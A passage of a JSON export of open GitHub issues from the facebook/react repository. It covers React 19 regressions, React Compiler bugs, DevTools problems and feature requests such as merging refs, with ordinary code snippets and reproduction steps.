"2026-01-25T18:08:01Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\r\n\r\nThis is something I noticed when I applied the Apollo Client test suite to React 19 - we had one test that was timing out.\r\n\r\nI first thought that the test was broken, but it turns out it was just really slow. \r\n\r\nCranking the test that finished in React 18 in under 200 milliseconds to a timeout of 10 **seconds** for React 19 made it pass (6 seconds would still consistently fail, 7 seconds started to pass on localhost).\r\n\r\nFurther I noticed that if we use our [`__use`](https://github.com/apollographql/apollo-client/blob/8e3edd4f5e5191453ba3ca1a1cc4fc4a02b936e8/src/react/hooks/internal/__use.ts#L15-L26) polyfill that throws a Promise instead of `use`, the test finishes in under 500 milliseconds - still slower than React 18, but *significantly* faster than React 19 with native `use`.\r\n\r\nThis is the test in question:\r\n\r\nhttps://github.com/apollographql/apollo-client/blob/8e3edd4f5e5191453ba3ca1a1cc4fc4a02b936e8/src/react/hooks/__tests__/useSuspenseQuery.test.tsx#L9519-L9615\r\n\r\nI'd be happy to work with you on further identifying the root cause for this, but I'll be moving houses in a few days, and I just don't have the time to create an isolated reproduction for this within the next 1-2 weeks, I'm really sorry.\r\n\r\nStill, I assume this might be important for you, so I'll at least open a ticket to let you know :)", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29855/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29776", "id": 2337544850, "node_id": "I_kwDOAJy2Ks6LVBqS", "number": 29776, "title": " DevTools Components Hide components filter should hide the component it owns", "user": { "login": "ricardo-reis-1970", "id": 40762989, "node_id": "MDQ6VXNlcjQwNzYyOTg5", "avatar_url": "https://avatars.githubusercontent.com/u/40762989?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ricardo-reis-1970", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2024-06-06T07:30:34Z", "updated_at": "2024-10-22T09:05:37Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "When I go to the Components tab of the React DevTools, I have an option to hide components in:\r\n```\r\nSettings > Components > Hide components where...\r\n```\r\n\r\nIn this I can hide a component based on its name. The issue is that among many others I have a component called `Period` that has a ton of components underneath it because it uses `React Datepicker`. I add a rule like:\r\n```\r\n^ name matches Period\r\n```\r\nbut all it hides is the entry for my component. I obviously expected to hide it together with all its descendants, but instead the very single line called `Period` vanishes from the tree, and now the tons of subcomponents (Datepicker, remember?) are all there as if hanging directly from the `Period`'s parent component.\r\n\r\nReact version: 18.2.0\r\nDevTools version: [5.2.0-1717ab0171](https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#520)\r\n\r\n## Steps To Reproduce\r\n\r\n1. create a React page with any component hierarchy with more than 2 levels\r\n2. in React DevTools > Components, go to `Settings > Components > Hide components where...`\r\n3. filter out a component by name\r\n4. now you'll see that the component that you filtered out disappeared, but its descendants are still all there, attached to the component's parent.\r\n\r\nLink to code example:\r\n\r\nMy code is corporate and therefore cannot be shared. However, the description I gave and the steps to reproduce are quite unmistakable. This is not a circumstance bug on my code.\r\n\r\n## The current behavior\r\nCurrently, if I want to hide a component and all its descendants, I would need to add these one by one to the filters, which becomes highly impractical very soon.\r\n\r\nFurthermore, in hiding components under the component I'm trying to hide, I might be hiding components elsewhere with the same name that I need not hide.\r\n\r\n## The expected behavior\r\nI'm not sure what purpose this serves, but this is really not practical. There should at the very least be an option for physical filter and logical filter, where physical would be \"every instance of this name\" and logical would be \"every instance of this name AND its descendants\".\r\n\r\nOther improvements would be selecting components to be collapsed by default (like filtering out, but with the option to see them).\r\n\r\nFinally, not sure this is intended, but filtering is case insensitive. JavaScript is not.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29776/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29757", "id": 2333914689, "node_id": "I_kwDOAJy2Ks6LHLZB", "number": 29757, "title": "Refs merging/combining", "user": { "login": "FrameMuse", "id": 53980482, "node_id": "MDQ6VXNlcjUzOTgwNDgy", "avatar_url": "https://avatars.githubusercontent.com/u/53980482?v=4", "gravatar_id": "", "url": "https://api.github.com/users/FrameMuse", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2024-06-04T16:17:01Z", "updated_at": "2025-09-17T17:26:15Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\r\n\r\nI wanted to use `ref` from `props` while also creating a local `ref` as a fallback, but I got into this problem https://github.com/facebook/react/issues/17200.\r\n\r\nI know this could be resolved with a little code, though I think this behavior should belong natively to React. There is even a package for that https://www.npmjs.com/package/react-merge-refs with ~1 million downloads/week, which confirms necessity of this for the React users.\r\n\r\nI would propose something like\r\n```tsx\r\nfunction Component(props: { ref?: Ref }) {\r\n const fallbackRef = useRef(null)\r\n return
\r\n}\r\n```\r\nor at least this for fallback cases\r\n```tsx\r\nfunction Component(props: { ref?: Ref }) {\r\n const elementRef = useRef(props.ref)\r\n return
\r\n}\r\n```\r\nor hook/helper to resolve `ref`s concurrency\r\n```tsx\r\nfunction Component(props: { ref?: Ref }) {\r\n const elementRef = useRef(null)\r\n const combinedRef = useCombinedRef([props.ref, elementRef])\r\n\r\n return
\r\n}\r\n```\r\n```tsx\r\nfunction Component(props: { ref?: Ref }) {\r\n const elementRef = useRef(null)\r\n return
\r\n}\r\n```\r\n\r\nWhat do you think? Am I going too far with it? 😅\r\n\r\n\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29757/reactions", "total_count": 30, "+1": 30, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29755", "id": 2333668858, "node_id": "I_kwDOAJy2Ks6LGPX6", "number": 29755, "title": "[Compiler Bug]: Runtime error with Higher Order Components", "user": { "login": "NickBlow", "id": 6502020, "node_id": "MDQ6VXNlcjY1MDIwMjA=", "avatar_url": "https://avatars.githubusercontent.com/u/6502020?v=4", "gravatar_id": "", "url": "https://api.github.com/users/NickBlow", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2024-06-04T14:19:13Z", "updated_at": "2024-08-18T12:41:57Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [X] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://codesandbox.io/p/devbox/vite-react-forked-w7lfc7?file=%2Fsrc%2FApp.tsx&workspaceId=5309445f-fc83-4685-b2a0-3050725a1482\n\n### Repro steps\n\nWe're just going through our codebase and fixing issues that we're getting when enabling the compiler.\r\n\r\nNot sure if this is something we are doing wrong, or a compiler issue.\r\n\r\nWe get 'TypeError: Cannot read properties of null (reading 'useMemoCache')' when running something similar to the following code in NextJS (minimal repro):\r\n\r\nPassing in a string as ElementType seems to be something that's fairly commonly recommended (https://www.aleksandrhovhannisyan.com/blog/dynamic-tag-name-props-in-react/ is the first result on Google for me).\r\n\r\n```\r\nimport React, { ElementType, FC } from \"react\";\r\n\r\nfunction TagChangingHOC(Tag: ElementType): FC<{text: string}> {\r\n return function({text}) {\r\n return {text}\r\n }\r\n}\r\n\r\nconst DivTag = TagChangingHOC('div');\r\nconst SpanTag = TagChangingHOC('span');\r\n\r\nexport default function MyApp() {\r\n return (<> >)\r\n}\r\n```\r\n\r\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHaYGZQ3AFwEsIMACAFQEMBzAYQAsqMaiWAJAeToApqaAlGWCYyZGAgKxyufMVJkewMgQQAPAmQC+QkeTHjJ0sgB5+APmCqNWkwHoLo7Zi2ZMcUmE0ARIgDd+MgBeSlpGZlYObh4AcgATfxiBAG53T00AZQAHZkCQ-nCWNhouXhiwHIwk1KwMdSyIGE04hGwqKAAbTVlCEnIAWQBPAEEsrJ5dJwkpGHIeE3NTXwDaFXUCILQQbAgILbtFk2zc1esNrYAjKhh9w4OBF0wQLSA\r\n\r\n\r\nI'm very happy to accept an alternative solution if this is too much of an edge case.\r\n\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.0.0-rc.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29755/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29677", "id": 2326995304, "node_id": "I_kwDOAJy2Ks6KsyFo", "number": 29677, "title": "[Compiler Bug]: healthcheck vs eslint", "user": { "login": "mbiggs-gresham", "id": 34435305, "node_id": "MDQ6VXNlcjM0NDM1MzA1", "avatar_url": "https://avatars.githubusercontent.com/u/34435305?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mbiggs-gresham", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2024-05-31T05:32:01Z", "updated_at": "2024-05-31T23:13:55Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [X] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [X] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nn/a\n\n### Repro steps\n\nI've ran the healthcheck against my app which states that 72 out of 80 components have been compiled. The documentation states the higher the better. I don't have any eslint violations (there were 2 but those have been fixed). The app is working with some good improvements, so thanks!\r\n\r\n```\r\n% npx react-compiler-healthcheck@latest\r\n\r\nSuccessfully compiled 72 out of 80 components.\r\nStrictMode usage found.\r\nFound no usage of incompatible libraries.\r\n```\r\n\r\nSo how do i find the remaining components? Should there not be a minimum of 8 eslint violations or is that not how it works? What's the recommended approach to getting all 80 optimised?\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.0.0-rc-38e3b23483-20240529", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29677/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29651", "id": 2323812060, "node_id": "I_kwDOAJy2Ks6Kgo7c", "number": 29651, "title": "[DevTools Bug]: Unable to edit props", "user": { "login": "alDuncanson", "id": 25286675, "node_id": "MDQ6VXNlcjI1Mjg2Njc1", "avatar_url": "https://avatars.githubusercontent.com/u/25286675?v=4", "gravatar_id": "", "url": "https://api.github.com/users/alDuncanson", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2024-05-29T17:03:30Z", "updated_at": "2024-08-05T12:22:12Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://react.dev/\n\n### Repro steps\n\n## Steps to reproduce\r\n1. Navigate to the website (i.e. [React Dev](https://react.dev/))\r\n2. Open React Developer Tools\r\n3. Select an element in the page to inspect the component\r\n4. Try to edit the props, they appear to be read-only\r\n\r\n## Demo\r\n\r\n> attempt to edit props not working\r\n\r\n![Kapture 2024-05-29 at 12 59 10](https://github.com/facebook/react/assets/25286675/dbd8aca8-0cd4-470d-b5ab-75437f857418)\r\n\r\n## Extension info\r\n\r\n\"image\"\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29651/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29640", "id": 2322802665, "node_id": "I_kwDOAJy2Ks6Kcyfp", "number": 29640, "title": "[Compiler Bug]: react native reanimated shared value mutation", "user": { "login": "AlirezaHadjar", "id": 57192409, "node_id": "MDQ6VXNlcjU3MTkyNDA5", "avatar_url": "https://avatars.githubusercontent.com/u/57192409?v=4", "gravatar_id": "", "url": "https://api.github.com/users/AlirezaHadjar", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2024-05-29T09:16:03Z", "updated_at": "2025-10-19T21:16:46Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [X] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [X] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/AlirezaHadjar/react-compiler-shared-value-bug\n\n### Repro steps\n\nHi, \r\nI'm using polyfill in react native to get the compiler working and noticing that the compiler is complaining about reanimated shared value mutations which is a very common pattern in [react native](https://docs.swmansion.com/react-native-reanimated/docs/fundamentals/your-first-animation/#using-a-shared-value).\r\n\r\n```tsx\r\n const onPress = () => {\r\n translateX.value = withTiming((Math.random() - 0.5) * 100);\r\n };\r\n```\r\n![Screenshot 2024-05-29 at 12 40 14 PM](https://github.com/facebook/react/assets/57192409/dc33fd69-0637-4575-801d-5b31977f350a)\r\n\r\nAnd the health-check command also confirms that `App.tsx` is not compiled.\r\n\r\n![Screenshot 2024-05-29 at 12 42 33 PM](https://github.com/facebook/react/assets/57192409/c4d685ba-b775-4e12-a5ce-c68f1ed68fc1)\r\n\r\nSteps to build the project:\r\n1. yarn install\r\n2. yarn ios\r\n\r\n@josephsavona this is the issue that we discussed on [Twitter](https://x.com/alireza_hadjar/status/1795575101670519124?s=46&t=HIMTmQZ1qNgFDe3f7YV9kQ)\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n18.2", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29640/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29639", "id": 2322761867, "node_id": "I_kwDOAJy2Ks6KcoiL", "number": 29639, "title": "[Compiler Bug]: Health check --src option only works with one file (so a glob needs to be quoted)", "user": { "login": "guillaumebrunerie", "id": 787865, "node_id": "MDQ6VXNlcjc4Nzg2NQ==", "avatar_url": "https://avatars.githubusercontent.com/u/787865?v=4", "gravatar_id": "", "url": "https://api.github.com/users/guillaumebrunerie", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2024-05-29T08:57:33Z", "updated_at": "2024-06-08T15:02:40Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [X] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nAny project with several component files (e.g. https://github.com/guillaumebrunerie/LD55)\n\n### Repro steps\n\nRunning the compiler health check with a normal glob only checks the first file it finds:\r\n```\r\n> npx react-compiler-healthcheck --src src/**/*.{tsx,ts}\r\nSuccessfully compiled 1 out of 1 components.\r\n```\r\nThis is a bit surprising as most command line utilities handle multiple input files, here we need to quote the glob to have it work as intended:\r\n```\r\n> npx react-compiler-healthcheck --src \"src/**/*.{tsx,ts}\"\r\nSuccessfully compiled 379 out of 399 components.\r\n```\r\n\r\nI would suggest making the first one work as well, that is the `--src` argument should accept an arbitrary number of files and process all of them.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n-", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29639/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29588", "id": 2316663440, "node_id": "I_kwDOAJy2Ks6KFXqQ", "number": 29588, "title": "[DevTools Bug]: version 5.2.0 icon opien in editor cannot click , color is gray", "user": { "login": "YingchenWang999", "id": 56105589, "node_id": "MDQ6VXNlcjU2MTA1NTg5", "avatar_url": "https://avatars.githubusercontent.com/u/56105589?v=4", "gravatar_id": "", "url": "https://api.github.com/users/YingchenWang999", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2024-05-25T03:47:26Z", "updated_at": "2024-05-25T03:47:26Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://github.com/YingchenWang999/react-demo\n\n### Repro steps\n\ncd react-demo \r\nnpm run dev \r\n open in chrome \r\nopen reactdevtools \r\nset open in editor url is vscode \r\nchoose seletor component \r\n\r\nsee \r\n\r\n\"image\"\r\n\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29588/reactions", "total_count": 7, "+1": 7, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29585", "id": 2316457047, "node_id": "I_kwDOAJy2Ks6KElRX", "number": 29585, "title": "[React 19] React 19 runs extra effects when elements are reordered", "user": { "login": "devongovett", "id": 19409, "node_id": "MDQ6VXNlcjE5NDA5", "avatar_url": "https://avatars.githubusercontent.com/u/19409?v=4", "gravatar_id": "", "url": "https://api.github.com/users/devongovett", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2024-05-25T00:28:02Z", "updated_at": "2024-07-22T16:10:17Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\r\n\r\nWhen React elements with stable keys are reordered with no other prop changes, React 19 re-runs their effects even though dependencies have not changed. This did not occur in React 18. In addition, this only happens for some of the elements, and not others. As far as we can tell, when reordering an earlier element to be later, the earlier element's effects are run, and the later element's are not. When reordering a later element to be earlier, no effects are run. In React 18, no effects are run in either case.\r\n\r\nThe below code sandboxes swap the keys of two elements to simulate re-ordering. When the keys are swapped, the first element's effects run but the second's do not. In React 18, no effects are run.\r\n\r\nWe think React 18's behavior is correct: since no dependencies have changed and the component is not being unmounted and remounted, it should not call any effects.\r\n\r\nNote that this only happens in strict mode. Without strict mode, no effects are run.\r\n\r\n**Steps:**\r\n* Open sandbox and open console.\r\n* After initial load, clear the js console.\r\n* Click the swap button.\r\n\r\nNote that the effects run for the first element, but not the second.\r\n\r\n* [React 19 Sandbox](https://codesandbox.io/p/sandbox/rough-worker-xfptmg?file=%2Fsrc%2FApp.js%3A1%2C1-24%2C1)\r\n* [React 18 Sandbox](https://codesandbox.io/p/sandbox/rough-worker-forked-y6jht6?file=%2Fsrc%2FApp.js%3A24%2C1)\r\n\r\nIt appears this changed between the last 18.3 canary, and the first 19 canary:\r\n* Not working - [19.0.0-canary-2b036d3f1-20240327](https://www.npmjs.com/package/react/v/19.0.0-canary-2b036d3f1-20240327)\r\n* Working - [18.3.0-canary-c3048aab4-20240326](https://www.npmjs.com/package/react/v/18.3.0-canary-c3048aab4-20240326)\r\n\r\n## Context\r\n\r\nWe noticed this in our tests while upgrading React Aria to React 19. However, it does not only occur in tests, it also occurs in development builds in browser. Specifically, we are seeing this in our drag and drop implementation, where users can drag to reorder elements in a list. The extra effects are causing our code to emit additional events compared with React 18.\r\n\r\ncc. @LFDanLu @snowystinger", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29585/reactions", "total_count": 12, "+1": 12, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29227", "id": 2312024104, "node_id": "I_kwDOAJy2Ks6JzrAo", "number": 29227, "title": "[Compiler Bug]: Usage of `in` operator is reported as a syntax error", "user": { "login": "emmatown", "id": 11481355, 